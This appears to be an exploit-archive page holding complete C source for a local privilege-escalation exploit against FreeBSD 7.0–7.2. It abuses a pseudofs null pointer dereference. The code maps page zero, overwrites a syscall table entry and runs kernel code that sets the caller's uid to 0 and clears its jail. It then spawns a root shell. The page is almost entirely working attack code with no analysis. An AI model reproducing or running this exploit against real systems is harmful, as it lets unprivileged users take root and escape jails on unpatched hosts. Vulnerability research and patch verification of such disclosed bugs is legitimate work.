FreeBSD – ‘pseudofs’ Null Pointer Dereference Privilege Escalation
/* * source: https://www.securityfocus.com/bid/43060/info * 18.08.2010, babcia padlina * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit * * * to obtain SYSENT8_SYCALL_ADDR, run: * $ kgdb /boot/kernel/kernel * (kgdb) print &sysent[8].sy_call */ #define SYSENT8_SYCALL_ADDR 0xc0c4afa4 /* FreeBSD 7.2-RELEASE */ #define _KERNEL #include <sys/param.h> #include <sys/conf.h> #include <sys/ucred.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/proc.h> #include <sys/types.h> #include <sys/extattr.h> #include <sys/uio.h> #include <sys/turnstile.h> #include <sys/queue.h> struct turnstile { struct mtx ts_lock; struct threadqueue ts_blocked[2]; struct threadqueue ts_pending; LIST_ENTRY(turnstile) ts_hash; LIST_ENTRY(turnstile) ts_link; LIST_HEAD(, turnstile) ts_free; struct lock_object *ts_lockobj; struct thread *ts_owner; }; volatile int gotroot = 0; static void kernel_code(void) { struct thread *thread; asm( "movl %%fs:0, %0" : "=r"(thread) ); /* * kernel_code() is called while thread is in critical section, * so we need to unset td_critnest flag to prevent panic after * nearest user mode page fault. */ thread->td_critnest = 0; thread->td_proc->p_ucred->cr_uid = 0; thread->td_proc->p_ucred->cr_prison = NULL; gotroot = 1; return; } int main(int argc, char **argv) { struct turnstile *ts = 0; if (access("/proc/curproc/cmdline", R_OK)) { printf("procfs not found.\n"); return -1; } if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) { printf("mmap 0x0 failed.\n"); return -1; } memset(0, 0, PAGE_SIZE); /* * we need to call dummy extattr_get_link() here, to make * libc memory pages accessible without user mode page fault. without * it, panic will occur after next extattr_get_link(). */ extattr_get_link("/dev/null", 0, 0, 0, 0); /* overwrite sysent[8].sy_call with 0x0 */ ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c); extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0); *(char *)0x0 = 0x90; *(char *)0x1 = 0xe9; *(unsigned long *)0x2 = &kernel_code; asm( "movl $0x8, %eax;" "int $0x80;" ); if (gotroot) { printf("oops, I did it again.\n"); setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } printf("exploit failed.\n"); return 0; } |